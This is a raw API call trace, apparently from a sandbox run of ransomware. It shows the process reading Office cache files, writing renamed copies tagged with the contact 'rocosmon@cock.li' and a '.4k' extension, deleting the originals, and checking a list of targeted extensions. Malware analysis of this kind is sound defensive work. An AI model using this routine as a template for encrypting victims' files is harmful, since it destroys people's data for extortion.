	[0089.766] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0089.789] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6241) returned 1
	[0089.789] CloseHandle (hObject=0x1a0) returned 1
	[0089.789] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0089.789] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.789] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0089.789] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.789] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.789] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0089.792] GetLastError () returned 0x0
	[0089.792] ReadFile (in: hFile=0x1a0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x1861, lpOverlapped=0x0) returned 1
	[0089.807] WriteFile (in: hFile=0x1ac, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1870, lpOverlapped=0x0) returned 1
	[0089.808] ReadFile (in: hFile=0x1a0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0089.808] WriteFile (in: hFile=0x1ac, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0089.808] SetEndOfFile (hFile=0x1ac) returned 1
	[0089.808] CloseHandle (hObject=0x1ac) returned 1
	[0089.978] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.979] SetEndOfFile (hFile=0x1a0) returned 1
	[0089.980] CloseHandle (hObject=0x1a0) returned 1
	[0089.980] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.980] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0089.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.980] lstrlenW (lpString=".doc") returned 4
	[0089.980] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.980] lstrlenW (lpString=".docx") returned 5
	[0089.980] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0089.980] lstrlenW (lpString=".pdf") returned 4
	[0089.981] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.981] lstrlenW (lpString=".xls") returned 4
	[0089.981] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.981] lstrlenW (lpString=".xlsx") returned 5
	[0089.981] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0089.981] lstrlenW (lpString=".ppt") returned 4
	[0089.981] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.981] lstrlenW (lpString=".zip") returned 4
	[0089.981] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.981] lstrlenW (lpString=".rar") returned 4
	[0089.981] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.981] lstrlenW (lpString=".bz2") returned 4
	[0089.981] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.981] lstrlenW (lpString=".7z") returned 3
	[0089.981] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.981] lstrlenW (lpString=".dbf") returned 4
	[0089.981] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.981] lstrlenW (lpString=".1cd") returned 4
	[0089.981] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.982] lstrlenW (lpString=".jpg") returned 4
	[0089.982] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.982] lstrlenW (lpString=".doc") returned 4
	[0089.982] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.982] lstrlenW (lpString=".docx") returned 5
	[0089.982] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0089.982] lstrlenW (lpString=".pdf") returned 4
	[0089.982] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.982] lstrlenW (lpString=".xls") returned 4
	[0089.982] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.982] lstrlenW (lpString=".xlsx") returned 5
	[0089.982] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0089.982] lstrlenW (lpString=".ppt") returned 4
	[0089.982] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.982] lstrlenW (lpString=".zip") returned 4
	[0089.982] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.982] lstrlenW (lpString=".rar") returned 4
	[0089.982] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.982] lstrlenW (lpString=".bz2") returned 4
	[0089.982] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.982] lstrlenW (lpString=".7z") returned 3
	[0089.982] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.982] lstrlenW (lpString=".dbf") returned 4
	[0089.983] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.983] lstrlenW (lpString=".1cd") returned 4
	[0089.983] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.983] lstrlenW (lpString=".jpg") returned 4
	[0089.983] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.983] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.983] lstrlenW (lpString="ProjectMUI.xml") returned 14
	[0089.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0090.448] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1452) returned 1
	[0090.448] CloseHandle (hObject=0x160) returned 1
	[0090.448] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020
	[0090.448] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0090.448] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0090.448] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.448] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.448] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0090.448] GetLastError () returned 0x0
	[0090.448] ReadFile (in: hFile=0x160, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x5ac, lpOverlapped=0x0) returned 1
	[0090.633] WriteFile (in: hFile=0x174, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0090.634] ReadFile (in: hFile=0x160, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0090.634] WriteFile (in: hFile=0x174, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0090.634] SetEndOfFile (hFile=0x174) returned 1
	[0090.634] CloseHandle (hObject=0x174) returned 1
	[0090.842] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.842] SetEndOfFile (hFile=0x160) returned 1
	[0091.142] CloseHandle (hObject=0x160) returned 1
	[0091.142] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0091.142] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1
	[0091.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0091.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0091.143] lstrlenW (lpString=".doc") returned 4
	[0091.143] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0091.143] lstrlenW (lpString=".docx") returned 5
	[0091.143] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0091.143] lstrlenW (lpString=".pdf") returned 4
	[0091.143] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0091.143] lstrlenW (lpString=".xls") returned 4
	[0091.143] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0091.143] lstrlenW (lpString=".xlsx") returned 5
	[0091.143] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0091.143] lstrlenW (lpString=".ppt") returned 4
	[0091.143] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0091.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0091.143] lstrlenW (lpString=".zip") returned 4
	[0091.143] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0091.143] lstrlenW (lpString=".rar") returned 4
	[0091.143] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0091.143] lstrlenW (lpString=".bz2") returned 4
	[0091.143] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0091.143] lstrlenW (lpString=".7z") returned 3
	[0091.144] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0091.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0091.144] lstrlenW (lpString=".dbf") returned 4
	[0091.144] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0091.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0091.144] lstrlenW (lpString=".1cd") returned 4
	[0091.144] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0091.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0091.144] lstrlenW (lpString=".jpg") returned 4
	[0091.144] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0091.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0091.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0091.144] lstrlenW (lpString=".doc") returned 4
	[0091.144] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0091.144] lstrlenW (lpString=".docx") returned 5
	[0091.144] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0091.144] lstrlenW (lpString=".pdf") returned 4
	[0091.144] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0091.144] lstrlenW (lpString=".xls") returned 4
	[0091.144] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0091.144] lstrlenW (lpString=".xlsx") returned 5
	[0091.144] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0091.144] lstrlenW (lpString=".ppt") returned 4
	[0091.144] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0091.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0091.145] lstrlenW (lpString=".zip") returned 4
	[0091.145] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0091.145] lstrlenW (lpString=".rar") returned 4
	[0091.145] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0091.145] lstrlenW (lpString=".bz2") returned 4
	[0091.145] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0091.145] lstrlenW (lpString=".7z") returned 3
	[0091.145] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0091.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0091.145] lstrlenW (lpString=".dbf") returned 4
	[0091.145] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0091.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0091.145] lstrlenW (lpString=".1cd") returned 4
	[0091.145] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0091.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0091.145] lstrlenW (lpString=".jpg") returned 4
	[0091.145] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0091.145] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0091.145] lstrlenW (lpString="OfficeMUI.xml") returned 13
	[0091.145] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0091.146] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=5557) returned 1
	[0091.146] CloseHandle (hObject=0x160) returned 1
	[0091.146] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020
	[0091.146] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0091.146] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0091.146] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0091.146] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0091.146] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0
	[0091.147] GetLastError () returned 0x0
	[0091.147] ReadFile (in: hFile=0x160, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x15b5, lpOverlapped=0x0) returned 1
	[0091.231] WriteFile (in: hFile=0x1b0, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x15c0, lpOverlapped=0x0) returned 1
	[0091.773] ReadFile (in: hFile=0x160, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0091.773] WriteFile (in: hFile=0x1b0, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0091.773] SetEndOfFile (hFile=0x1b0) returned 1
	[0092.388] CloseHandle (hObject=0x1b0) returned 1
	[0092.447] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0092.447] SetEndOfFile (hFile=0x160) returned 1
	[0092.448] CloseHandle (hObject=0x160) returned 1
	[0092.448] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0092.448] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1
	[0092.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0092.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0092.971] lstrlenW (lpString=".doc") returned 4
	[0092.971] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0092.971] lstrlenW (lpString=".docx") returned 5
	[0092.971] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0092.971] lstrlenW (lpString=".pdf") returned 4
	[0092.971] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0092.972] lstrlenW (lpString=".xls") returned 4
	[0092.972] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0092.972] lstrlenW (lpString=".xlsx") returned 5
	[0092.972] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0092.972] lstrlenW (lpString=".ppt") returned 4
	[0092.972] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0092.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0092.972] lstrlenW (lpString=".zip") returned 4
	[0092.972] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0092.972] lstrlenW (lpString=".rar") returned 4
	[0092.972] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0092.972] lstrlenW (lpString=".bz2") returned 4
	[0092.972] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0092.972] lstrlenW (lpString=".7z") returned 3
	[0092.972] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0092.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0092.972] lstrlenW (lpString=".dbf") returned 4
	[0092.972] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0092.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0092.972] lstrlenW (lpString=".1cd") returned 4
	[0092.972] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0092.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0092.972] lstrlenW (lpString=".jpg") returned 4
	[0092.972] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0092.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0092.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0092.972] lstrlenW (lpString=".doc") returned 4
	[0092.973] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0092.973] lstrlenW (lpString=".docx") returned 5
	[0092.973] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0092.973] lstrlenW (lpString=".pdf") returned 4
	[0092.973] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0092.973] lstrlenW (lpString=".xls") returned 4
	[0092.973] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0092.973] lstrlenW (lpString=".xlsx") returned 5
	[0092.973] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0092.973] lstrlenW (lpString=".ppt") returned 4
	[0092.973] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0092.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0092.973] lstrlenW (lpString=".zip") returned 4
	[0092.973] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0092.973] lstrlenW (lpString=".rar") returned 4
	[0092.973] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0092.973] lstrlenW (lpString=".bz2") returned 4
	[0092.973] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0092.973] lstrlenW (lpString=".7z") returned 3
	[0092.973] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
